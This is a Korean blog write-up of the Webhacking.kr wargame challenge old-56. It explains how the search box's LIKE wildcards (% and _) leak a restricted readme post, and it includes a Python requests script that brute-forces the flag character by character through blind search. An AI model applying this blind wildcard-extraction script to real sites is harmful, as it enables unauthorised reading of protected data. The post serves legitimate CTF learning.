본문 바로가기
Hacking/WebHacking.kr

Webhacking.kr : old-56 (250 pt)

by newbie22 2021. 2. 9.

 

 

문제에 접속하면 다음과 같은 화면이 나타납니다.

-> hi~ 를 클릭하면 hello~ 이라는 문구가 나옵니다.

-> readme를 클릭하면 access denied라는 문구가 나옵니다.

-> 검색 창이 나타납니다.

 

권한을 위회하여 readme 게시글을 읽으면 flag를 획득할 수 있을 거 같습니다.

 

-> F12 elements 탭에서 코드를 확인하였지만 특수한 부분이 없었습니다.

 

아마 검색 창을 이용하면 문제를 풀 수 있다고 생각하였습니다.

 

< %h%로 검색했을 때 모습 >

 

< %flag% 로 검색했을 때 모습 >

즉, 와일드 카드(%, _)를 사용하여 블라인드로 flag를 추출할 수 있습니다.

-> _를 이용하여 flag의 길이를 획득하려고 하였으나 제대로 작동하지 않았습니다. 따라서 서버에서 쿼리가 like '%{search}%' 로 생각됩니다.

 

import requests

#basic val
cookie = {"PHPSESSID": "쿠키 값"}

word = "{}0123456789abcdefghijklmnopqrstuvwxyz?!@#$^&*,.;:[]+=_"
flag = "flag"

#get password length
while 1 :
    check = 1
    for j in word:
        
        param = {"search" : flag + j}
        url = "https://webhacking.kr/challenge/web-33/index.php"
    
        res = requests.post(url=url, data=param, cookies=cookie, verify = False)
    
        result = res.text.find("admin")
        
        if result != -1 :
            flag = flag + j
            print(flag)
            if j == "}" :
                check = 1
            else :
                check = 0
            
            break
    if check == 1 :
        print("end")
        break

 

이렇게 블라인드를 통하여 쉽게 flag를 획득할 수 있습니다.

 

 

끝~~

'Hacking > WebHacking.kr' 카테고리의 다른 글

Webhacking.kr : old-05 (300 pt)  (0) 2021.02.10
Webhacking.kr : old-58 (150 pt)  (0) 2021.02.09
Webhacking.kr : old-51 (250 pt)  (0) 2021.02.08
Webhacking.kr : old-43 (250 pt)  (0) 2021.01.28
Webhacking.kr : old-41 (250 pt)  (0) 2021.01.27